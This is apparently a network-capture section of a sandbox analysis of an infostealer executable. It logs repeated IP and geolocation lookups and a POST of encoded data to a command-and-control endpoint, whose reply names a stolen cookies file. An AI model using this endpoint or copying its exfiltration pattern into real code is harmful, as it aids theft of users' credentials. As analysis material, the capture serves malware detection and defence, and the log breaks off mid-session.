Nov 25, 2024 07:10:04.754462004 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:04 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49846	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:06.728753090 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:10:09.312534094 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49858	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:11.210953951 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:10:12.638983011 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49866	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:14.426227093 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:10:16.424850941 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 07:10:16.425348997 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49877	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:18.221563101 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:10:19.680177927 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49885	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:21.579725981 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:10:22.979583025 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49896	132.226.8.169	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:24.847112894 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:10:26.655838966 CET	272	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49928	5.182.211.149	80	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:10:37.774224997 CET	143	OUT	POST /den/P4.php HTTP/1.1 Content-Type: text/plain; charset=utf-8 Host: the.drillmmcsnk.top Content-Length: 1432 Connection: Keep-Alive
Nov 25, 2024 07:10:37.779309988 CET	1432	OUT	Data Raw: 4c 50 54 35 65 67 76 50 32 30 58 73 76 65 42 63 51 49 76 45 44 6f 66 66 44 31 77 58 78 37 2b 5a 4f 51 4c 30 58 42 59 65 42 6d 76 4b 47 6c 32 45 55 39 35 72 6c 57 2b 63 38 4c 6c 71 2b 58 59 51 44 6c 61 34 69 46 78 78 59 45 70 43 47 74 70 4b 56 4a Data Ascii: LPT5egvP20XsveBcQIvEDoffD1wXx7+ZOQL0XBYeBmvKGl2EU95rlW+c8Llq+XYQDla4iFxxYEpCGtpKVJaD2Hr9cdcOiNIulsEGWctGEvQb/cWLZRcIfOr1k7qXOLrQ7/PpC438ZgmIWT0WAQc0Guaq0BQ2kDkmZURg3odpDNOx9A9XSzfhRvm9mWJ1c/nm0RFppwfJoh3icT/7K9X3HBAtdfsC+meA1UEI+9ly/nNi/7cn/ys
Nov 25, 2024 07:10:39.098196983 CET	250	IN	HTTP/1.1 201 Created content-type: text/html; charset=UTF-8 content-length: 86 date: Mon, 25 Nov 2024 06:10:38 GMT server: LiteSpeed connection: Keep-Alive Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 44 61 74 61 20 75 70 6c 6f 61 64 65 64 20 61 6e 64 20 64 65 63 72 79 70 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 2c 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 43 6f 6f 6b 69 65 73 5f 31 36 36 37 2e 74 78 74 22 7d Data Ascii: {"message":"Data uploaded and decrypted successfully.","file_name":"Cookies_1667.txt"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49815	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:56 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:57 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:57 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478906 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sre3Zfq0oUrHdGe4bkDLPNWSAUTYas5r5jXHMT8hLXao9%2BzGQWb9F8m2Mfjgg4cXSrIeQhE3V%2BlBWwGFyR37csH7HNLrLH9UgwGgIlatVjHkyPIZaQ%2Fx7SrChTzfuRpgiFop8fJl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f790b7eba0caa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1645997&cwnd=238&unsent_bytes=0&cid=a8d4bf7599bffa27&ts=460&x=0"
2024-11-25 06:09:57 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49821	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:59 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-25 06:09:59 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:59 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478908 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bfr3OZKQmXlcDP5OXrGiltNUYk23T3y3maN9Ye0XD16%2BMAO%2FNA1ulm3NAyvBlCF2%2FScKNOGT%2FYqO5eOliJJIVptGpEl7JzGIg5tbF9h1dxXzZaoxw3jPi7o8iGM7qN%2B2NKAtNzfJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f7919eadfef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1449131&cwnd=191&unsent_bytes=0&cid=49a2bf9f4ae7c2ec&ts=475&x=0"
2024-11-25 06:09:59 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49838	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:05 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-25 06:10:06 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:06 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478915 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9hGK4aScMIpRmbHmHLoRgx5O3cZ0mPjGXBfm%2B%2BZCXzrN9rvaBqQSOs%2FrwEBSSghtexj6thGWMQii4BbsMNG4R0cclMr1754bcjU5v4bHiNRfrHMOLWcEWb5ChkMBqAFeE5ZYIubC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f79450cf88c42-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1454183&cwnd=252&unsent_bytes=0&cid=8d48d88e11c78908&ts=450&x=0"
2024-11-25 06:10:06 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49852	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:10 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:10:11 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:10 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478919 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eU81lUF7kdVX1o3HF9%2BwTz3X53SZBa4K2TMakAwsUDWJ%2BhmWMQVrnvDtzcsBqrZ%2FytPiDqPazeYlkkBIOnWYYkOmoHtAS6yHy58DQR3xJbB5tETXwBY%2BNZq0%2FFTL1YiqfoABp8e5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f796239db430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1920&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1798029&cwnd=178&unsent_bytes=0&cid=2867854f75c9e077&ts=471&x=0"
2024-11-25 06:10:11 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49862	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:13 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:10:14 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:14 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478923 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YcoRa0BasHxiky4tBuHEVk3UVnMp4DKbclpVH3RnMwaU1%2FBW6u0bajjUkZ5Ek1deaX7CUy%2FVpRYpBNtptlr2UKpOSWMW1my2ak27YqGpGz%2BaLkLSOT6sjeGIknNOWjSZCf8QQ9OP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f79765fea0cb8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1661&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1765417&cwnd=162&unsent_bytes=0&cid=e835a674fdd209f2&ts=450&x=0"
2024-11-25 06:10:14 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49871	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:17 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-25 06:10:18 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:17 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478926 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pqryd35Sy3u0gfyl0NvgrjgLCZ5gUn9QN0cxPx581r4z%2BGLSRAcCZR0cmUa74JUvLTW7My%2FSC2XqDy0kNtHzmBPcqFBaeKunsxanj9VcT5vfD3Bqwrai2UM%2BJZ8MFGa6GFvhs5YN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f798e0bb7429b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1712609&cwnd=251&unsent_bytes=0&cid=c087a095f61beb69&ts=455&x=0"
2024-11-25 06:10:18 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49882	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:20 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
